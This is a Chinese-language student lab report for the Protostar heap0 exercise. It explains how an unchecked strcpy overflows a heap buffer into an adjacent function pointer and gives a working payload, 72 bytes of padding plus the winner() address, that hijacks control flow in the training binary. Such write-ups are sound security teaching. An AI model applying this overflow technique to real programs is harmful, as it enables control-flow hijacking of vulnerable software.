

CS3312 Lab Heap0

学号: 522031910439 姓名: 梁俊轩

2025 年 4 月 16 日

1 代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 heap0 的 C 语言源代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
    char name[64];
};

struct fp {
    int (*fp)();
};

void winner()
{
    printf("level passed\n");
}

void nowinner()
{
    printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
    struct data *d;
    struct fp *f;

    d = malloc(sizeof(struct data));
    f = malloc(sizeof(struct fp));
    f->fp = nowinner;

    printf("data is at %p, fp is at %p\n", d, f);

    strcpy(d->name, argv[1]);

    f->fp();
}
```

```
}
```

2 漏洞分析

`data->name` 使用 `strcpy` 直接复制用户输入（无长度检查）。`fp` 结构体包含函数指针 `f->fp`，默认指向 `nowinner`。`data` 和 `fp` 是连续分配的堆块。`data` 大小为 64 字节 (`char name[64]`)，`fp` 大小为 4 字节（函数指针）。输入到 `data->name` 的数据溢出后，会覆盖相邻的 `fp` 结构体中的 `fp` 函数指针。我们的目标便是通过溢出 `data->name` 覆盖 `f->fp`，使其指向 `winner` 函数。

`data` 结构体大小为 64 字节。溢出 `data->name` 的 64 字节后，接下来的 4 字节即 `f->fp` 我们试运行 `heap0`：

```
root@protostar:/opt/protostar/bin# ./heap0 A
data is at 0x804a008, fp is at 0x804a050
level has not been passed
```

我们的目的是调用 `winner` 函数，所以我们需要将 `fp` 存的地址改为 `0x08048464`，由于 `0x804a050 - 0x804a008 = 0x48 = 72`，所以我们可以开始构造 `payload`

```
"A"*72 + <winner 函数地址>
```

我们需要查询到 `winner` 的地址：

```
(gdb) print winner
1 = {void (void)} 0x8048464 <winner>
```

那么我们就可以构造自己的攻击指令：

```
root@protostar:/opt/protostar/bin# ./heap0 `python -c 'print "A"*72 + "\x64\x84\x04\x08"'`
```

最后也可以看到攻击成功：

```
root@protostar:/opt/protostar/bin# ./heap0 `python -c 'print "A"*72 + "\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed
```

图 1 攻击结果